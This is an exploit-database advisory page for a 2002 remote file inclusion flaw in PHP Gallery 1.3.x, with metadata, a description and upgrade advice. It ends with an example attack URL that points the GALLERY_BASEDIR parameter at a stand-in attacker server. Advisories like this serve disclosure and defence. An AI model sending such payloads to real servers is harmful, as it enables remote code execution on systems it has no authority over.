header-logo
Suggest Exploit
vendor:
Gallery
by:
SecurityFocus
7.5
CVSS
HIGH
Remote File Inclusion
98
CWE
Product Name: Gallery
Affected Version From: 1.3.2001
Affected Version To: 1.3.2002
Patch Exists: YES
Related CWE: CVE-2002-1390
CPE: o:php:gallery
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: None
2002

Gallery Remote File Inclusion Vulnerability

Gallery is prone to a remote file inclusion vulnerability which allows attackers to include arbitrary files located on remote servers. This vulnerability is present in several PHP script files provided with Gallery. An attacker can exploit this by supplying a path to a file on a remote host as a value for the 'GALLERY_BASEDIR' parameter.

Mitigation:

Users should upgrade to the latest version of Gallery.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/5375/info

Gallery is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers. This issue is present in several PHP script files provided with Gallery. An attacker may exploit this by supplying a path to a file on a remote host as a value for the 'GALLERY_BASEDIR' parameter. 

http://hostname/gallery/captionator.php?GALLERY_BASEDIR=http://your.evil.server.tdl/

Navigation

Suggest Exploit

Services By CQR